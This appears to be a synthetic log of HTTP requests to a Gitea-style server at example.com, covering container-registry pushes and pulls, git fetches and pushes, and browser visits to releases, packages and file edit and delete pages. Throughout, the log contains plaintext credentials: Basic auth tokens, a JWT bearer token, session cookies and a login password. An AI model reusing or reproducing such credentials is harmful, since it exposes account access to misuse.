{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
